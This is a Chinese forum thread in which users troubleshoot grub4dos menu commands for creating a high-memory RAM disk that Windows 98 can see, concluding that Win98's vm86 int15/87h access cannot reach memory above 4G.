无忧启动论坛

标题: grub4dos虚拟个内存盘（用高位），进win98还能用上它？（已有结论，无法实现） [打印本页]

作者: 窄口牛 时间: 2023-10-3 10:31
标题: grub4dos虚拟个内存盘（用高位），进win98还能用上它？（已有结论，无法实现）
本帖最后由窄口牛于 2023-10-4 20:33 编辑

我想把win98不识别的内存搞个虚拟磁盘给进了系统的98用，怎么写菜单？

作者: 窄口牛 时间: 2023-10-3 10:33
现在知道98可以用到2g，8g剩下的6g搞个虚拟磁盘。

作者: toptop 时间: 2023-10-3 12:02
进win98，牛！

作者: 195374218 时间: 2023-10-3 12:49
支持

作者: james168 时间: 2023-10-3 13:39
还用Win98

作者: 不点 时间: 2023-10-3 13:41
是的，win98 不能在超过 2G 的内存之下运行。所以，要生办法让 win98 只看到 2G 或更少。

思路就是，用内存盘占据高位内存，只留下 2G 或 1G 供 win98 使用。

map 的参数中就有故意浪费内存的用法，你研究一下就能找到。现在我已经对 grub4dos 不太熟悉了，长期不接触开发工作，因此也记不住那些命令参数。

不过我要说的是，无需浪费内存，只需用几个 map 命令加载映像文件到内存中，把内存真的用光（当然要留下 2G 或 1G 供 win98 使用）。没有什么特别的技巧，谁都可以尝试这么做，无非就是用一条（或几条） map --mem --top …… 命令而已。为什么需要几条 map 命令？因为你可能有好几个内存碎块，这样就需要多个内存盘才能填满这些内存块。注意用 displaymem 命令查看你的内存碎块分布情况。map --status 能够显示出哪些内存已经被内存盘占用了。你需要——恰好——把不想要的内存块占满，因此你的映像文件的长度需要经过精准计算。太大了拒绝加载，太小了未能填满相应的内存块。未占据的部分，仍有可能被 win98 看见。

作者: nathan6498 时间: 2023-10-3 15:37
谢谢分享

作者: rchc08 时间: 2023-10-3 16:13
给你点赞！成功了，分享一下，再次感谢！

作者: 窄口牛 时间: 2023-10-3 18:05
本帖最后由窄口牛于 2023-10-3 18:07 编辑

就搞4736M大小好了

作者: 不点 时间: 2023-10-3 22:14
从图片看到，内存有两个碎片，属于正常情况（其实是碎片最少的情况，也就是最好的情况）。

第一块是从 1M 开始，长度为 3G 多（精确的长度是 3536768 KB）。这是 4G 以内的部分。

第二块是从 4G 开始，长度为 4736M。

可以考虑制作一个不含分区表的映像，长度正好是 4736M。把它map --top --mem 成为虚拟软盘(fdX)，这样就不会自动添加分区表。如果制作硬盘映像也行，映像本身可以带上分区表，这样，map 成虚拟硬盘 (hdX) 时也就不会额外再添加分区表了。

这样，你就成功地把 4G 以上的那一块填满了。

你还需要另外一个 1G 多的 img，用来把 3G 多的那一块消耗掉，只留下 2G 或更少。建议先只留下 1G 试试看，如果正好是 2G 的话，你知道，它的起始地址在 1M 处，而不是在 0 处。所以，尾端的地址就会超过 2G。此时 win98 能否正常运行，还不好说。

另外，图片中的 grub4dos 版本有点老了。如果出现失败，可以先更新到最新版。

作者: tanglf 时间: 2023-10-4 08:58
这也能实现

作者: sunsea 时间: 2023-10-4 09:18
可以按不点所述，找一台XP或者更新的机器，使用

fsutil file createNew XXX

复制代码

命令创建一个指定字节长度的【空白】文件，XXX为【精确的】【字节数】，然后使用BOOTICE管理磁盘镜像的功能格式化，从而得到一个带分区表的硬盘镜像文件。

作者: 窄口牛 时间: 2023-10-4 09:34

find --set-root --ignore-floppies --ignore-cd /win98.img
map --mem --top /win98.img (hd3)
title Chainload IO.SYS for booting MS-DOS/Windows 9x/Me
fallback +1
find --set-root --ignore-floppies --ignore-cd /io.sys
chainloader /io.sys
savedefault --wait=2bi

复制代码

必须有磁盘交换，win98没起来，虚拟磁盘也没搞成。

作者: 不点 时间: 2023-10-4 12:21
本帖最后由不点于 2023-10-4 15:51 编辑

XP、Win98 的启动盘，必须从 hd0 或 fd0 启动。如果你用 hd3 做启动盘，肯定不行。

假如你是用原有的 hd0 里面的 io.sys 来启动 dos，那是可以的。但你的 win98 安装在 hd3，有点奇怪。我的意思是说，win98 启动以后，它要找自己的系统文件，它不一定知道它自己呆在 hd3 之下。所以，它可能找不到自己启动、运行所必须的一些配套文件。通常你会把 win98.img 虚拟成 hd0, 而把系统中原有的 hd0 虚拟成 hd1。

补充一下。如果你只是觉得好玩，来启动 win98，那就不建议这么弄了。你完全可以在 vmware 之类的虚拟机里面玩，不会有问题。如果是因为工作需要，必须使用旧版 Windows，那当然是值得折腾的。虚拟机可以虚拟各种硬件，所以可以运行 win98。

如果你是在较新的电脑上运行 win98，我想，你很有可能会失败的。因为，XP 都封杀了，这种新硬件就不支持旧版 windows。真实机的真实硬件是死的、不变的，因此它不如虚拟机里面灵活多变的虚拟硬件。除非由于某种原因自己实在没辙，必须使用 win98，否则，还是省省心，用新版 Windows 吧。

运行 win98 必须要有个 win98 可以支持的不太新的电脑。成功与失败，主要是在于硬件兼容性。

另外，作为首次尝试，你可以先下载别人做好的 win98.img，用 grub4dos 启动成功以后，心里有底，然后再自己安装。

还有个明显的问题，请留意。你的两个内存块都超过 2G。我前面已经提到了，你需要 2 个 img。而在你的菜单中，只发现有一个 img。

语法、用法方面，还要注意 map --hook 的时机。在贴出的菜单中没有发现这条命令。通常在 map 完一个或多个映像之后，就该执行 map --hook 了。

加了内存，WIN98却不能启动，为什么？
https://iask.sina.com.cn/b/1H58f5kxFwZr.html

上述网页讲解了如何通过 win98 的配置文件来限制 win98 使用的内存，这就从根本上解决了 win98 无法在大内存之下运行的问题。

另外，还有别的网友指出，超过 512M 内存，win98 就会不稳定。

作者: 窄口牛 时间: 2023-10-4 16:40
本帖最后由窄口牛于 2023-10-4 17:03 编辑

前面那一段只是虚拟内存盘（内存盘镜像叫了个win98）的命令，后面是启动win98的

作者: 窄口牛 时间: 2023-10-4 17:02
本帖最后由窄口牛于 2023-10-4 17:04 编辑

<font size="6">find --set-root --ignore-floppies --ignore-cd /hdd.img.gz
map --mem --top /hdd.img.gz (hd3)
map --hook
</font>

复制代码

这一段虚拟内存盘没有问题了，控制台已经可以看到内存盘。

<font size="6">
title Chainload IO.SYS for booting MS-DOS/Windows 9x/Me
fallback +1
find --set-root --ignore-floppies --ignore-cd /IO.SYS
map () (hd0)
map (hd0) ()
rootnoverfy (hd0)
chainloader IO.SYS
savedefault --wait=2
boot
title Chainload BOOTSECT.DOS for booting MS-DOS/Windows 9x/Me
fallback +1
find --set-root --ignore-floppies --ignore-cd /BOOTSECT.DOS
map () (hd0)
map (hd0) ()
rootnoverfy (hd0)
chainloader /BOOTSECT.DOS
savedefault --wait=2
boot
</font>

复制代码

看上说明，写的启动98的菜单，起不来。

这按E进来，啥也改不了呀，只能删除行，按O添加也打不上去任何东西呀？

作者: wintoflash 时间: 2023-10-4 17:21

窄口牛发表于 2023-10-4 17:02
这一段虚拟内存盘没有问题了，控制台已经可以看到内存盘。
看上说明，写的启动98的菜单，起不来。

交换磁盘后，要执行 map --hook 才能生效。
你在 rootnoverfy (hd0) 前只执行一次 map --hook就行。

作者: 不点 时间: 2023-10-4 17:28

窄口牛发表于 2023-10-4 17:02
这一段虚拟内存盘没有问题了，控制台已经可以看到内存盘。
看上说明，写的启动98的菜单，起不来。

这个错误很容易犯。因为 grub4dos 的菜单，相当于一个批处理程序。而程序难免会出错。

比如说，chainloader IO.SYS，这就少了一个斜杠。应该是

chainloader /IO.SYS

这是原始 gnu grub 的语法设计。没办法，只能遵守。

作者: 不点 时间: 2023-10-4 18:45
是的，对虚拟盘的虚拟状态（创建一个虚拟盘或删除一个虚拟盘）进行修改之后，就需要 map --hook，使得新的改动能够立即生效。

如果缺少了 map --hook，那么 grub4dos 会在最后执行 boot 命令的时候，顺便自动执行一次 map --hook。

通常需要根据自己的命令序列的具体情况和自己的便利，选择在适当的时机执行 map --hook。

作者: 窄口牛 时间: 2023-10-4 20:31

find --set-root --ignore-floppies --ignore-cd /hdd.img.gz
map --mem --top /hdd.img.gz (hd3)
title Chainload IO.SYS for booting MS-DOS/Windows 9x/Me
fallback +1
find --set-root --ignore-floppies --ignore-cd /IO.SYS
map () (hd0)
map (hd0) ()
map --hook
rootnoverify (hd0)
chainloader (hd0,0)/IO.SYS
savedefault --wait=2
boot

复制代码

最后可用的。不过进了win98找不到它，不能被系统使用。

作者: 不点 时间: 2023-10-4 22:30

窄口牛发表于 2023-10-4 20:31
最后可用的。不过进了win98找不到它，不能被系统使用。

你这差不多应该算是成功了吧？我来猜猜看，问题可能出在什么地方。

我看到你只使用了一个 hdd.img，我猜，这是为了利用 4G 之上的高位内存而建立的内存盘。4G 之下的低位内存，有 3G 多，都给 win98 使用了，你并没有映射出第二个盘，但却成功进入 win98，说明内存大小的问题，你已经解决了，不管是怎么解决的。

我猜，你的 Win98 位于真实磁盘 (hd0) 上，而不是虚拟的（hd3）上。你想让 win98 认出虚拟盘，就要把虚拟盘号设置得精准一些。如果你只有一个真实硬盘 hd0，你必须把虚拟硬盘的号码设置为 hd1，不能让 hd1 处于空缺状态（即，处于不存在的状态），而去创建虚拟硬盘 hd2 或 hd3，hd4 ……等等。盘号应该是连续的。

再比如说，你有两块真实硬盘 hd0 和 hd1，那么，新建立的虚拟硬盘，应该是 hd2，不可以是 hd3，hd4 等等。就是说，不能让硬盘号跳着走。假如你的 hd0，hd1，hd2 都已经存在了，此时，你再建立新的虚拟硬盘，这个新的盘号就应该是 hd3 了。这是操作系统识别盘号的规范。盘号是连续的，不可以有空缺（间隙）。grub4dos 本身可以识别有间隙的盘号，但操作系统不能识别。

还要注意，win98 不认识 ntfs 文件系统。必须用 FAT12、FAT16、FAT32 之类的文件系统类型。

作者: 窄口牛 时间: 2023-10-4 22:51
现在确实轮到hd3了，hd2上是win98，hd0是优盘（用它g4d引导的），hd1是个大硬盘。
优盘分区开始是（hd0,3），我修改了下大小，才正常为（hd0,1）。

作者: 不点 时间: 2023-10-4 23:48
本帖最后由不点于 2023-10-4 23:50 编辑

窄口牛发表于 2023-10-4 22:51
现在确实轮到hd3了，hd2上是win98，hd0是优盘（用它g4d引导的），hd1是个大硬盘。
优盘分区开始是（hd0,3 ...

现在可以先试试用虚拟软盘 fd0。可以从网上下载一个 win98 启动软盘，1.44M 的即可，目的是测试。把它 map --mem 加载为 fd0，看看进入 win98 后能否看见这个软盘。（成功以后，再试试 map --mem --top 加载为 fd0，看看能否成功）。如果能看见，再把软盘弄成 4 G 多，就成功了。不一定非得是 win98 启动软盘，可以是别的软盘，我们只不过是试试罢了。

作者: 窄口牛 时间: 2023-10-5 08:14
试过了，还在xp系统也试了，系统里面都无法识别到g4d的虚拟磁盘。
看样子需要搞个驱动，让系统认识。
就需要高手解决了。

作者: wintoflash 时间: 2023-10-5 09:05

窄口牛发表于 2023-10-5 08:14
试过了，还在xp系统也试了，系统里面都无法识别到g4d的虚拟磁盘。
看样子需要搞个驱动，让系统认识。
就 ...

xp 是不会认的，没必要试。按理说 win98 应该能认。

作者: 不点 时间: 2023-10-5 09:56
win98 可以识别 grub4dos 建立的（内存，mem）虚拟软盘和虚拟硬盘。当时开发 grub4dos 时，已经测试过了。下载别人做好的 img，直接 map 就能成功。而且，这内存盘还是 win98 的系统盘。不过需要说明的是，当时电脑的内存普遍很少，不会有 4G 以上的高位内存。那时的测试，一般也只在 2G 内存以下进行测试，比如 128M，256M 之类的。

XP 下已经有 SVBUS 驱动，可以支持 grub4dos 虚拟盘。

win98 是操作系统本身支持 realmode mapper，所以，可以支持实模式建立的虚拟盘。如果你的 win98 把与 realmode mapper 有关的模块精简掉了，那可能会出毛病。

我的新电脑不支持 bios，只能 EFI，所以，win98 已经无法在我的新电脑上运行了，我也就没兴趣试验了。否则，我还真想找个 img 试验一下。有兴趣者、不怕麻烦者，可以试验，只不过意义不大罢了。没有真实机，也可以用 vmware 来试验，不过，我没时间。以前在开发的时候曾经成功的，现在当然没必要重复试验了，尤其是在 bios 已经逐步淘汰的当代。

作者: 窄口牛 时间: 2023-10-5 10:05
2g以内的话，有内存盘软件就能支持，没多大意思了。

作者: 不点 时间: 2023-10-5 10:10
本帖最后由不点于 2023-10-5 10:41 编辑

当时如果不支持 win98，或者支持得不完整，那么 grub4dos 可能也就没人用了，至少会有人来报告失败，要求开发者解决问题。就好比说，假如现在 grub4dos 在 win7、win10、win11 下有什么毛病，那不是有一堆人都来抱怨？开发者还能安心睡大觉吗？

现如今时代变化太大，win98 已经被大多数人当作 “奇葩”，懒得看一眼。此时，有兴趣来试验的人，可能连 2 个人都找不到。而唯一的一个有兴趣进行试验的人，他说成功就是成功，他说失败，就是失败。别人已经不关心了。这就是这个问题的现状，谁也没法改变。

作者: 不点 时间: 2023-10-5 10:18

窄口牛发表于 2023-10-5 10:05
2g以内的话，有内存盘软件就能支持，没多大意思了。

可是你已经用 1.44M 软盘进行了试验，失败了。这说明连 1.44M 都不支持了。我怀疑你这个结果的准确性。

不排除你什么地方弄错了的可能性。

前一帖我已经说了，实在是找不到人对此感兴趣了。假如有的话，其测试结果，要么跟你一样，要么跟你相反。如果跟你一样，就强化了你的结论。如果跟你不一样，就否定了你的结论。没办法，时代走到现在了，连个测试者都很难再增加一个。

作者: 不点 时间: 2023-10-5 10:25
本帖最后由不点于 2023-10-5 12:19 编辑

窄口牛发表于 2023-10-5 08:14
试过了，还在xp系统也试了，系统里面都无法识别到g4d的虚拟磁盘。
看样子需要搞个驱动，让系统认识。
就 ...

win98 自己带有 realmode mapper 功能模块，可以自动识别实模式建立的虚拟盘。SVBUS 的开发者是个高手，他的驱动程序支持 XP 和 win2000。但碰巧不支持 win98。我认为，很难说服他，让他去支持 win98。因为，他也很清楚，win98 已经被新电脑判了死刑，而且是立即执行，不是缓期。

我只是猜测，没人愿意针对 win98 进行开发了。将心比心，如果我是那个开发者，我是不会再去开发了。开发它，肯定费劲。开发者甚至找不到当时的开发工具了。而且，又没有什么好处——没人鼓掌叫好，也不会有金钱方面的收入。费劲、费体力，而且名利两空，所以，我是不会去干的。因此推测，别人也不会那么做。

作者: 窄口牛 时间: 2023-10-5 10:39
本帖最后由窄口牛于 2023-10-6 14:42 编辑

又测试了，win98可以识别非--top的盘；xp安装svbus驱动，可以识别大的--top的盘，大盘作为（可能是因为镜像是img非ima）fd，无法工作，必须是hd才行。
今天又鼓捣了一上午结果一致。

作者: 不点 时间: 2023-10-5 10:50
本帖最后由不点于 2023-10-5 11:24 编辑

窄口牛发表于 2023-10-5 10:39
又测试了，win98可以识别非--top的盘；xp安装svbus驱动，可以识别大的--top的盘；大盘作为fd，无法工作，必 ...

以前试验过了，虚拟软盘的大小没有限制。完全可以和硬盘一样大。不过，你自己试验的结果，你肯定更相信一些。实在找不到什么人对此感兴趣了。既不会有人支持你的结论，也不会有人反对你的结论。

没什么人进来讨论。已经进来的几位，八成是想帮你，两成是想看看这里到底有什么技术，有没有什么含金量，如果有的话，顺便学两招也没坏处。而其他大多数人，只是路人，只是好奇，或者看看热闹。

作者: 窄口牛 时间: 2023-10-5 11:02
那个realmode mapper功能有办法测试检查吗？

作者: 不点 时间: 2023-10-5 11:12
本帖最后由不点于 2023-10-5 11:17 编辑

窄口牛发表于 2023-10-5 11:02
那个realmode mapper功能有办法测试检查吗？

有办法。只要你在 grub4dos 下建立虚拟盘，或者用 syslinux 里面的 memdisk 建立虚拟盘，而能够被 Windows 98 识别，这都表明 realmode mapper 在起作用。如果没有 realmode mapper，就不可能在保护模式下访问实模式之下建立的虚拟盘。

作者: dayeye 时间: 2023-10-5 12:49
这应该是20年前的帖子。穿越了

作者: 不点 时间: 2023-10-5 16:59
找到知乎上的文章。知乎上高手蛮多的。顺便把链接贴过来：

在一台“现代”PC上安装Windows 98（松下CF-NX1）
https://zhuanlan.zhihu.com/p/590700257

现在的电脑还可以装 Windows 98 吗？
https://www.zhihu.com/question/360335487/answer/1038240409

系统安装-Windows98 安装实录
https://zhuanlan.zhihu.com/p/351812925

作者: 不点 时间: 2023-10-6 12:11

窄口牛发表于 2023-10-5 10:39
又测试了，win98可以识别非--top的盘；xp安装svbus驱动，可以识别大的--top的盘；大盘作为fd，无法工作，必 ...

我不认为这段话的描述是可信的。尤其是 “大盘作为 fd 无法工作，必须是 hd 才行”。以前验证过的东西，应该不会突然之间就失效了。虚拟的 fd，不限于 1.44M，它可以是任意的几何参数，可以和硬盘一样大。否则，我们就无法把某个分区映射为软盘了。

另外一个问题，--top 之后 win98 不能识别？这我就不太确定了。当时还没有 --top，也没有 4G 以上的高位内存。但是，假如 real-mode mapper 真的把 CPU 切换到实模式，实模式的 grub4dos 代码就能读取位于 4G 以上高位内存中的扇区数据，这是不会失败的。难道说，微软的 real-mode mapper 没有把 CPU 切换到实模式？如果不切换到实模式，那么，访问 4G 以内的低位内存中的扇区数据，也会失败。但本帖报告 --mem 是成功的，所以也是解释不通。

如果 grub4dos 处理高位内存的代码存在 bug，那也会出问题。但是，代码只与 CPU 有关（与其它硬件无关，也不使用 int 指令），而且经过了无数网友的检验，能够访问高位内存。所以这种失败，也是讲不通的；当然确实有可能存在 bug，但可能性极低。汇编程序在内存间复制扇区数据块，代码很少，很难藏得住 bug。一旦有 bug，往往在任何电脑上统统都会失败，而不是只在某一台电脑上失败。

假如 --top 是成功的，那就没有疑问了。

因此，整体来看，我觉得楼主这段描述，不太可信，需要进一步验证。我希望有第二个测试者来做做看，确认一下。但是，实在是难以找到对此感兴趣的人了，也真是无奈。算了，还是离开这个话题吧——回归现实，不再研究这个问题了。

作者: 窄口牛 时间: 2023-10-6 15:34
应该不是grub4dos的问题，因为在XP里没问题。

作者: 不点 时间: 2023-10-6 16:12
本帖最后由不点于 2023-10-6 16:18 编辑

XP 之下，是使用 svbus 之类的驱动，而不是使用 grub4dos 的实模式代码。两者是完全不一样的。

所以，仍然有可能是 grub4dos 的实模式磁盘仿真代码出了 bug，虽然可能性不大。

还有一个可能性就是，你的 img 本身有问题，导致 win98 不能挂载它的文件系统。

可以试试一个 1.44M 的软盘，用 map --top --mem 加载为虚拟软盘 (fd0)，看看进入 win98 之后是否能看到软盘。

如果成功，就说明 grub4dos 的代码是正常的、没问题的。

作者: 不点 时间: 2023-10-6 16:28

窄口牛发表于 2023-10-5 10:39
又测试了，win98可以识别非--top的盘；xp安装svbus驱动，可以识别大的--top的盘，大盘作为（可能是因为镜像 ...

你修改帖子之后，我猜到问题在什么地方了。你试图把含有分区表的 img 仿真成软盘 fd0，这肯定不行。你需要的是一个不含 mbr 磁道，只有分区（卷）的 img，这才可以仿真为软盘。

作者: 窄口牛 时间: 2023-10-6 18:22

不点发表于 2023-10-6 16:28
你修改帖子之后，我猜到问题在什么地方了。你试图把含有分区表的 img 仿真成软盘 fd0，这肯定不行。你需 ...

嗯，能懂你的意思。

作者: 窄口牛 时间: 2023-10-7 07:15
本帖最后由窄口牛于 2023-10-7 08:54 编辑

win98下可以看到（map --mem --top）盘符，但是处于无法使用状态，就像坏了的优盘一样，可以反复格式化，但格完也还是不能用。

xp正常

98非top正常

98一个非top正常，一个top不正常

作者: 不点 时间: 2023-10-7 13:00

窄口牛发表于 2023-10-7 07:15
win98下可以看到（map --mem --top）盘符，但是处于无法使用状态，就像坏了的优盘一样，可以反复格式化，但 ...

你报告得很详细。有两种可能：其一，grub4dos 的实模式仿真代码，可能有 bug。其二，win98 系统的 realmode mapper 可能由于某种原因（可能存在内存冲突之类的原因），不能与 grub4dos 的实模式高位内存处理代码协同工作。

我想了解，在进入 win98 之前，也就是在 grub4dos 环境下，或者从 grub4dos 直接启动一个 DOS 系统，这样能否访问 --top 内存盘中的文件？这个问题很重要。如果能访问，那就说明是 win98 与 grub4dos 的高位内存处理代码有冲突。如果 dos 和 grub4dos 下也不能正常访问 --top 虚拟出来的软盘，那问题就大了，属于巨大 bug。

作者: 窄口牛 时间: 2023-10-7 13:34
g4d控制台可以访问，dos也可以访问，就是98里面不行。

作者: 不点 时间: 2023-10-7 19:01

窄口牛发表于 2023-10-7 13:34
g4d控制台可以访问，dos也可以访问，就是98里面不行。

好的，明白了。大的 bug 是没有的。但可能存在小 bug，那就是，grub4dos 对于高位内存的处理（代码层面），不能适应 win98 环境。猜测很可能需要改进代码。

作者: 不点 时间: 2023-10-8 23:09
这个 --top 的问题貌似是无法解决的。我猜，real-mode mapper 里面的 real-mode，并非真的是指 real-mode，而很可能是表示 “16 位模式” 或者 vm86 模式。也就是说，grub4dos 的实模式代码在 win98 环境是失效的。grub4dos 在 win98 的 vm86 模式下，是通过调用 bios 的 int15 / 87h 来实现 4G 以内的内存块移动（可以理解为内存块读写）。而 int15/87h 不支持对 4G 以上的内存块进行操作（幸运的是 4G 以内的低位内存，能够完美支持）。看来，要想实现 --top 内存盘的访问，还真是需要有人为 win98 写一个（类似于 svbus 的）驱动程序。前面已经说了，这希望太渺茫了，那就当做一个美丽的梦想吧。

作者: 不点 时间: 2023-10-9 06:36
找到一些相关的技术，说不定以后有人找到这里了，他就能用得着。

https://dosbox-x.com/wiki/Guide%3AInstalling-Windows-98

这个网页居然说可以从 DOSbox-X 下安装、运行 Win98。我记得以前在 DOSbox 之下是不能运行 win98 的。所以，这个 DOSbox-X 是个突破。

可惜，我这里无法访问 dosbox-x.com 这个网站，猜测可能是被墙了吧。

作者: 窄口牛 时间: 2023-10-9 06:54

不点发表于 2023-10-9 06:36
找到一些相关的技术，说不定以后有人找到这里了，他就能用得着。

https://dosbox-x.com/wiki/Guide%3AIn ...

嗯，dosbox，pcem，都可以模拟win98.，win2000打游戏。

作者: 不点 时间: 2023-10-9 07:10
又找到一个网站，目前能够正常访问：

https://www.dewassoc.com/windows-95-98-and-nt-setup-switches/

它介绍了 win98 setup.exe 安装时的一些选项，包括未公开的（秘密）选项。对于玩 win98 的人来说，这应该也是有用的。

作者: 2011yaya2007777 时间: 2023-10-9 07:16

这个 --top 的问题貌似是无法解决的

我觉得不点分析的很到位。我看了一下asm.S文档，前辈们有以下2段注释：

/* But Win9x may expect additional data after SafeMBRHook structure. //但在Win9x可能期望SafeMBRHook结构后的附加数据。
* This is undocumented, and mysterious. If this area is not what //这是无证，而神秘。如果这方面是不是有什么Win9x的预期，Win9x的可能挂起。
* Win9x expected, Win9x could hang.
*/

# win9x vm86-mode int15/ah=87h will also fail in accessing more than 4G //Win9x vm86模式int15/ah=87h访问超过4G内存失败。
# memory. Hope someone would develop a driver for win9x in the future. //希望有人会发展为未来的Win9x驱动程序。

作者: 窄口牛 时间: 2023-10-9 07:30

2011yaya2007777 发表于 2023-10-9 07:16
我觉得不点分析的很到位。我看了一下asm.S文档，前辈们有以下2段注释：

/* But Win9x may expect addi ...

在g4d下可以看到，打开，说明不是grub4dos的锅了，只能在win98里解决这个问题。
九八方面
http://windows98.xf.cz/这个网站可以关注一下，我就是在玩这些东西，不过有些还没玩到位。

作者: 不点 时间: 2023-10-9 07:34
现在都 2023 年了，还有人在 Linux 下用 DOSbox 运行 win98：

Run Windows 98 in Vanilla DOSBox
https://leo3418.github.io/2023/01/03/windows-98-in-vanilla-dosbox.html

作者: 不点 时间: 2023-10-9 13:52

窄口牛发表于 2023-10-9 07:30
在g4d下可以看到，打开，说明不是grub4dos的锅了，只能在win98里解决这个问题。
九八方面
http://windo ...

Microsoft WINDOWS 98 (SE) unofficial support site
http://windows98.xf.cz/

牛B plus！牛B 确实牛B，但我的理解力还跟不上，理解不动。微软扔掉的、而且封杀了多年的东西，还能捡起来？

不过，那东西倒是也有优点。其一，精简、轻量。其二，不含网络后门，不会从网上控制你。

作者: 窄口牛 时间: 2023-10-10 00:11
还有一个专门给win9x搞补丁的https://github.com/JHRobotics/patcher9x

作者: rbwrbw 时间: 2023-10-10 07:00
好建议

作者: 不点 时间: 2023-10-10 07:41

窄口牛发表于 2023-10-10 00:11
还有一个专门给win9x搞补丁的https://github.com/JHRobotics/patcher9x

呵呵，干脆让微软放出 win98 源代码，就省事了。

难道说，这帮人还要把 win98 的内核翻个底朝天？那得多费劲啊？

reactOS 就够费劲的，现在还有 “掏空” win98 的。

我想，这帮人可能是想练手、提高个人技能，以反汇编和破解为乐趣。

要掏空 XP 可能很难。所以，他们要拿 win98 来练手。

还有一个重要的原因，win98 与实模式 DOS 搭配良好，其后的 Windows 都开始逐步抛弃 DOS 了。

商家抛弃 DOS 之后，这些高手们觉得失去了自由。他们想找回自由。

因此，Win98 是个最好的 “切入点”。

还有一点，我想说。IBM 个人电脑的普及，是一个巨大的事件。DOS 里面的 debug，是编程者的最大福音，没有之一。debug 是有史以来最好的程序。没有 debug，你的电脑知识就只能停留在应用层面，不可能深入一步。debug 与其他编译器、调试器的不同之处在于，它是轻量级的。它运行在 DOS 下，而 DOS 本身也是轻量级的。在 debug 中，每一条 CPU 指令，你都可以尝试运行。那种轻易就能够获得的 “控制感”，能够让你确实感受到乐趣。否则，如果一开始都很难，那么大多数人都将失去耐心，逃之夭夭了。debug 能够让一个普通爱好者快速切入电脑的内部工作流程当中，不需要专门的培训。

干掉 DOS，就没有了 debug，那么，要想进入电脑内层，就提高了门槛。普通爱好者就不要再想了。

电脑刚开始普及的时候，商家需要有人对电脑内幕感兴趣。但是，后来感兴趣的人多了，反而对商家不利。此时，商家需要提高门槛，让一般人不能切入系统内层，这样就保护了商家的利益。

debug 和 DOS 的 .com 程序格式，是一个精粹。.com 程序不拖泥带水，一开始就是 cpu 指令，没有复杂的结构。最短的 .com 程序，可以只有一个字节，只放置一条 ret 指令（这是个单字节指令）就行了。Linux 之下没有类似这种的 “无结构” 可执行文件格式，而是复杂的 ELF 格式。而且，进入 Linux 之后，调试器本身也处于保护模式，而不是实模式。要想切换到实模式，还颇为困难。因此，要想学习 CPU 知识，通过 DOS 下实模式的 debug 来学习，是最好的途径，没有之一。

ARM 之下没有实模式和保护模式的区分。但要命的是，ARM 之下连统一的 BIOS 都没有。没有类似 DOS 的轻量级操作系统。DOS 之所以轻量，是因为 BIOS 提供了很多服务。DOS 只需调用这些服务即可。而 DOS 下运行 debug，理论上就可以控制所有的方面了。ARM 有 Linux 和 gdb，但 Linux 也缺乏类似于 .com 格式的可执行文件，而 ELF 格式比较复杂，不利于初学者、门外汉快速切入。

作者: 窄口牛 时间: 2023-10-10 07:58
xp也有搞得，之前把win8的驱动移植到xp，现在把win7的也移植了，只要还能装win7的现代机器，都可以跑xp啦。
大部分是手机回复，只有电脑回复才比较容易设置大字体。

作者: sunsea 时间: 2023-10-10 08:22

不点发表于 2023-10-8 23:09
这个 --top 的问题貌似是无法解决的。我猜，real-mode mapper 里面的 real-mode，并非真的是指 real-mode， ...

应该是这样的。Win98的系统调用就是这么个半吊子的东西。保护模式不保护模式，实模式不实模式，非要从32位进入这么一个东西再跑回来，所以98比纯保护模式的NT不稳定的多。

作者: 不点 时间: 2023-10-10 13:45

sunsea 发表于 2023-10-10 08:22
应该是这样的。Win98的系统调用就是这么个半吊子的东西。保护模式不保护模式，实模式不实模式，非要从32 ...

模式切换，确实不好。但这是历史造成的。如果执意要跟历史割裂开来，那当然就不需要模式切换了，只需要新的 CPU 指令集、新的架构、新的功能就行了。

ARM 和龙芯，都属于新的架构。龙芯不太了解，暂且不说。但 ARM 就不是取代 x86 的气势。

看看传统电脑的设计：主板 ROM 提供服务 ==> DOS 操作系统 ==> 应用程序。

有了主板提供的基本输入输出系统，操作系统的设计就很简单、很精炼。

多级设计，才能达到精炼。就像飞船登月，需要多级火箭。每一级都是对后续（下一级）的支撑。

ARM 电脑缺乏这个具有统一规范的基本输入输出系统。操作系统启动后，直接操纵硬件。这么一来，操作系统就需要各种各样的驱动程序，体积就十分庞大。Windows 也是这样，不再利用 BIOS，而是直接操纵硬件。

其实 Windows 也可以建立一套适用于 Windows 的新型 BIOS 规范，让主板制造商（以及其它硬件设备制造商）遵守，这样，就不需要五花八门的驱动程序了，只调用主板提供的服务就行。可是，Windows 此时已经没有动力干这个事了。这是因为，Windows 正在努力把系统体积变大，而不是变小。体积越大，控制力越强。操作系统越臃肿就越符合操作系统开发商的利益。

对于操作系统的学习者来说，当然操作系统越精炼、越简单，就越好。这刚好跟开发商的想法相反。开发商的操作系统，目的是让你变傻，然后方便收钱。而学生则是想学会、掌握这门技术的。开发商不怕普通用户学会技术，因为普通用户根本就不去学。开发商害怕竞争对手掌握了它的技术。所以，开发商需要保护自己。怎样才能保护自己？就是采用封闭策略。已有的规范，要破坏掉。为什么？因为这些规范已经被竞争对手掌握，自己无法在技术上占据压倒优势。为什么不再推出新的 BIOS？因为新的 BIOS 规范一旦推出，迟早也还是要被竞争对手掌握。在开发商看来，没有规范最好了，所有的硬件都由操作系统来处理，别人难以掌握，这就提高了门槛，挡住了竞争者。

这就明白了，今后再也不会有 BIOS 了。任何商家都不会推出类似 BIOS 这种规范了。商家要提高门槛，就必须这么做。

虽然 BIOS 已经差不多算是死干净了，但假如还有人由于某种特殊的原因而想念 BIOS，他就会觉得历史上曾经出现的 BIOS 十分珍贵。一个东西，再也找不着了，那么，物以稀为贵，他有可能把它当作贵重的文物保存起来（虽然可能只是保存在自己的脑海里）。那些不学技术的普通人，当然不可能把这当成宝贝。

作者: dayeye 时间: 2023-10-11 22:45
本帖最后由 dayeye 于 2023-10-11 23:04 编辑

ACER 4750G,10G内存，实机安装win98。map --mem --top 的2375M的fd盘可以格式化完成使用。格式化时间很长，拷贝文件时很不稳定，反复报错。
我觉得不稳定报错的原因可能是我的win98系统本就没安装好，缺少大堆驱动，能打开而已。
小的fd小到只有4k，格式化为720k-3.5'软盘可以使用。2375M-fd部分想分开成一个fd+一个hd没有成功。
其他试用结果与楼主结果基本一致。
4096M以后的--TOP盘fd/hd都无法使用。4096以内hd完好使用。

实机在1G内存时安装成功。2G及以上内存时不能自行引导启动。

作者: 不点 时间: 2023-10-12 07:01
看到有人继续关注，本帖就稍稍深入一步，谈谈 win98 下访问 --top 内存盘的技术可行性。纯粹是空谈，不再实干。因为空谈容易，实干难。

